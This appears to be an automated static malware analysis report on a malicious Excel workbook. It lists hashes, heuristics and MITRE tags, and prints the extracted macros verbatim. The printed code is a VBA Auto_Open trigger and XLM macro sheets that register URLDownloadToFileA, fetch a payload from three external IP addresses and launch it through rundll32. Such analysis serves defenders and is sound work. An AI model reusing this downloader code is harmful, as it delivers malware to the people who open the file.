Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 97e4a5773a429cc0…

MALICIOUS

Office (OOXML)

110.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: 9878315171e7ab7f7aaf4122ac37ceb9 SHA-1: 585dd0c1bbc54877b6bce75a859e846e33364277 SHA-256: 97e4a5773a429cc05e56429fb702260b6077a6893ecd457e1fbb59871a11b8ca
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains both VBA and Excel 4.0 macros, with the latter utilizing dangerous functions like CALL and REGISTER to execute arbitrary code. The Auto_Open macro in the VBA script likely triggers the XLM macros. The embedded URLs are highly suspicious and likely serve as download locations for a second-stage payload, indicating a downloader or droppper functionality.

Heuristics 6

  • Excel 4.0 macro sheet (2 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: HALT, REGISTER, GOTO, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://195.123.235.1/ In document text (OOXML body / shared strings)
    • http://45.67.230.159/In document text (OOXML body / shared strings)
    • http://51.195.38.32/In document text (OOXML body / shared strings)
    • http://195.123.235.1/44313,6048108796.datIn document text (OOXML body / shared strings)
    • http://45.67.230.159/44313,6048108796.datIn document text (OOXML body / shared strings)
    • http://51.195.38.32/44313,6048108796.datIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 15792 bytes
SHA-256: 6e35115a0b63947d5914d351f8de7764c2453fb6349171fc2ca7dfb17b6dac05
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "dfgbfdg"
Private Sub Auto_Open()
Application.Run Sheets("Klof").Range("AJ6")
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
  Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
  Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMaximized
 Application.WindowState = xlMax
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26112 bytes
SHA-256: 2b3f1633d02c099a6f30769c4961e5ea6d4184083c29bb8c5109aa9a82773a2f
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4725 bytes
SHA-256: 7716a3eb3a27a54de9de01718a02a6d229ccdf0f1eb50cc2e3f6adaf9546ea16
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0131C73D-C3C0-4C7F-B61C-5AFDDB7835F8}"><dimension ref="AC92:AL111"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="13.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="27" width="13.5703125" style="1"/><col min="28" max="28" width="13.5703125" style="1" customWidth="1"/><col min="29" max="30" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="31" max="31" width="32.85546875" style="1" hidden="1" customWidth="1"/><col min="32" max="33" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="34" max="34" width="19.5703125" style="1" hidden="1" customWidth="1"/><col min="35" max="35" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="36" max="36" width="23.5703125" style="1" hidden="1" customWidth="1"/><col min="37" max="38" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="39" max="39" width="21.42578125" style="1" bestFit="1" customWidth="1"/><col min="40" max="16384" width="13.5703125" style="1"/></cols><sheetData><row r="92" spans="33:36" x14ac:dyDescent="0.25"><c r="AI92" s="1"><v>1</v></c></row><row r="93" spans="33:36" x14ac:dyDescent="0.25"><c r="AI93" s="1"><v>9</v></c></row><row r="94" spans="33:36" x14ac:dyDescent="0.25"><c r="AJ94" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","JEIUYUITRYF")</f><v>0</v></c></row><row r="95" spans="33:36" x14ac:dyDescent="0.25"><c r="AG95" s="1" t="str"><f>CONCATENATE(AG101,AH95,AG99,AG100)</f><v>http://195.123.235.1/44313,6048108796.dat</v></c><c r="AH95" s="1"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="96" spans="33:36" x14ac:dyDescent="0.25"><c r="AG96" s="1" t="str"><f>CONCATENATE(AG102,AH95,AG99,AG100)</f><v>http://45.67.230.159/44313,6048108796.dat</v></c></row><row r="97" spans="31:36" x14ac:dyDescent="0.25"><c r="AG97" s="1" t="str"><f>CONCATENATE(AG103,AH95,AG99,AG100)</f><v>http://51.195.38.32/44313,6048108796.dat</v></c><c r="AJ97" s="1" t="b"><f>HALT()</f><v>0</v></c></row><row r="98" spans="31:36" x14ac:dyDescent="0.25"><c r="AH98" s="1"><f>CONCATENATE(AG106,AG107)</f><v>0</v></c></row><row r="99" spans="31:36" x14ac:dyDescent="0.25"><c r="AG99" s="1" t="s"><v>0</v></c><c r="AI99" s="1" t="str"><f>"uRlMon"</f><v>uRlMon</v></c></row><row r="100" spans="31:36" x14ac:dyDescent="0.25"><c r="AG100" s="1" t="s"><v>1</v></c></row><row r="101" spans="31:36" x14ac:dyDescent="0.25"><c r="AG101" s="1" t="s"><v>4</v></c><c r="AI101" s="1" t="str"><f>"JJCCBB"</f><v>JJCCBB</v></c></row><row r="102" spans="31:36" x14ac:dyDescent="0.25"><c r="AG102" s="1" t="s"><v>5</v></c><c r="AI102" s="1" t="s"><v>2</v></c></row><row r="103" spans="31:36" x14ac:dyDescent="0.25"><c r="AG103" s="1" t="s"><v>6</v></c></row><row r="104" spans="31:36" x14ac:dyDescent="0.25"><c r="AE104" s="1" t="b"><f>REGISTER(AI99,AH98,AI101,AI102,,1,9)</f><v>0</v></c><c r="AH104" s="1" t="e"><f>GOTO(AE103)</f><v>#N/A</v></c></row><row r="105" spans="31:36" x14ac:dyDescent="0.25"><c r="AE105" s="1" t="e"><f>Belandes(0,AG95,AI105,0,0)</f><v>#NAME?</v></c><c r="AI105" s="1" t="s"><v>3</v></c></row><row r="106" spans="31:36" x14ac:dyDescent="0.25"><c r="AE106" s="1" t="e"><f>IF(AE105&lt;0, Belandes(0,AG96,AI105,0,0))</f><v>#NAME?</v></c><c r="AG106" s="1" t="str"><f>"URLDow"</f><v>URLDow</v></c></row><row r="
... (truncated)
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2004 bytes
SHA-256: efa863078546591f10559e7ec4775260a2b46f2ed03bb71ea70b51048ee05558
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0735C71A-62B4-499F-9DD8-467063A6E5C3}"><dimension ref="H7:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="1"/><col min="7" max="7" width="9.140625" style="1" customWidth="1"/><col min="8" max="8" width="9.85546875" style="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="7" spans="8:9" x14ac:dyDescent="0.25"><c r="I7" s="1" t="str"><f>"r"</f><v>r</v></c></row><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="1" t="str"><f>"undll32 ..\Nuydar.veryrf,DllReg"</f><v>undll32 ..\Nuydar.veryrf,DllReg</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="1" t="str"><f>"isterServer"</f><v>isterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="1" t="b"><f>EXEC(I7&amp;I9&amp;I10)</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>